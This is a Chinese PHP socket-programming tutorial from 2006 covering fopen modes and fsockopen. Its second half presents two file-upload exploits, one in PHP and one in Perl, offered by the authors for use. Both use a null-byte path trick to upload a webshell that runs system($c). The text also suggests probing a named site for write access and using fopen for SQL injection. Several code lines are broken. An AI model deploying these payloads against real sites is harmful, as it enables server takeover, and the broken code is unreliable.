分享
 
 
 

PHP-SOCKETS编程问题

王朝php·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

前面一段谈到命令行方式的运行。更多请参照

http://www.php.net/manual/zh/features.commandline.php

1.fopen的应用

fopen也可以被称作被封装的SOCKET函数。不仅用于文件读写,还可以用于SOCKET。FOPEN相当于其他高级语言的INET控件/类,较于FSOCKOPEN,他对于URL的操作更高级。

fopen的使用方法

$s = fopen ($url, mode);

fopen的MODE属性:

mode 说明

'r' 只读方式打开,将文件指针指向文件头。

'r+' 读写方式打开,将文件指针指向文件头。

'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。

'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。

'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。

'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。

即用于本地文件的操作,也可以用于INET。是不是很KOOL?

假如要测试一个站的IIS目录是不是有写权限。

可以这样写

$s = fopen("http://www.bugkidz.org","x+") or die(“不存在写权限”)

如果存在的话,你可以继续构造下面的语句。用Fwrite 远程写入文件。

但是一般的网站都是只读权限的

$s =fopen("http://www.bugkidz.org/index.php?id=1","r");

这样就读入了http://www.bugkidz.org/index.php?id=1的内容,但是还得经过处理才能获取完整的文件内容

这样

while (!feof($s)) {

echo fgets($s, 1024);

}

我认为FOPEN用于SQL INJECTION是最方便不过的了。

引用

function phpinet($url)

{

fopen($url,"r") or die("打开URL错误");

$cahe = "";

while (!feof($s)) {

$cahe .= fgets($s, 1024);

}

retrun $cahe;

fclose($s);

}

这段函数等同于VB中的inet.openurl

Fsockopen等函数的使用

fsockopen也是被封装的一类socket函数.有点类似于VB中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用PHP中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.

这样使用fsockopen

resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])

例子:

$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);

前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.

通常$sock = fsockopen("192.168.0.1",80);这样即可.

$sock = fsockopen("192.168.0.1",80);这是典型的TCP连接.UDP连接这样来

$sock = fsockopen("udp://192.168.0.1",53);

用这个来写一个TFTP的客户端也是可以的.

fsockopen的应用实例:

实例一,简单的HTTP会话.

代码

<?php

$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);

if (!$fp) {

echo "$errstr ($errno)\n";

} else {

$out = "GET / HTTP/1.1\r\n";

$out .= "Host: www.example.com\r\n";

$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);

while (!feof($fp)) {

echo fgets($fp, 128);

}

fclose($fp);

}

?>

流程一般是这样的

建立fsockopen资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen资源.

ANGEL写了一个PHP的端口扫描工具,贴出之

http://www.4ngel.net/article/20.htm

选择fsockopen来写简单EXP发送框架绝对是个goodidea.becozit'ssoeasy.

看我的PHP上传漏洞的exp.

代码

引用

<?php

#MSN:Cqxy[at]21cn.net

$sock = fsockopen("www.ririririri.com",80);

if (!$sock)

{ echo "CANNOT CONNECT IT!";

}

$body = "-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"path\"\r\n".

"\r\n".

"www.ppp%00\r\n".

"-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".

"Content-Type: text/plain\r\n".

"\r\n".

"<?php\r\n".

"system($c);\r\n".

"?>\r\n".

"-----------------------------7d41f4a600472--\r\n".

"\r\n";

$header ="POST /index.php?action=upload HTTP/1.1\r\n".

"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".

"Referer: http://127.0.0.1/index.php?path=.\r\n".

"Accept-Language: zh-cn\r\n".

"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".

"Accept-Encoding: gzip, deflate\r\n".

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".

"Host: 127.0.0.1\r\n".

"Content-Length: strlen($body)\r\n".

"Connection: Keep-Alive\r\n".

"Cache-Control: no-cache\r\n".

"Cookie: PHPSESSID=111111111111111111111111\r\n".

"\r\n";

fputs($sock,$header);

sleep(1);

fputs($sock,$body);

while (!feof($sock))

{

echo fgets($sock,128);

}

fclose($sock);

?>

再来看XIAOLU用PERL写的exp

代码

引用

#!/usr/bin/perl

$| = 1;

use Socket;

$host = "127.0.0.1";

$port = "80";

$UploadTo = "";

$str =

"-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"path\"\r\n".

"\r\n".

"www.ppp%00\r\n".

"-----------------------------7d41f4a600472\r\n".

"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".

"Content-Type: text/plain\r\n".

"\r\n".

"<?php\r\n".

"system($c);\r\n".

"?>\r\n".

"-----------------------------7d41f4a600472--\r\n".

"\r\n";

print $str;

$len=length($str);

print $len;

$req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n".

"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".

"Referer: http://127.0.0.1/index.php?path=.\r\n".

"Accept-Language: zh-cn\r\n".

"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".

"Accept-Encoding: gzip, deflate\r\n".

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".

"Host: 127.0.0.1\r\n".

"Content-Length: $len\r\n".

"Connection: Keep-Alive\r\n".

"Cache-Control: no-cache\r\n".

"Cookie: PHPSESSID=111111111111111111111111\r\n".

"\r\n".

"$str\r\n\r\n";

print $req;

@res = sendraw($req);

print @res;

#Hmm...Maybe you can send it by other way

sub sendraw {

my ($req) = @_;

my $target;

$target = inet_aton($host) || die("inet_aton problems\n");

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");

if(connect(S,pack "SnA4x8",2,$port,$target)){

select(S);

$| = 1;

print $req;

my @res = <S>;

select(STDOUT);

close(S);

return @res;

else {

die("Can't connect...\n");

}

谁更简单,一目了然.

到这里可能大家对fsockopen的使用有一定了解了.

下次该谈php-sockets高级编程.一个更强大的PHP将惊现在面前

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有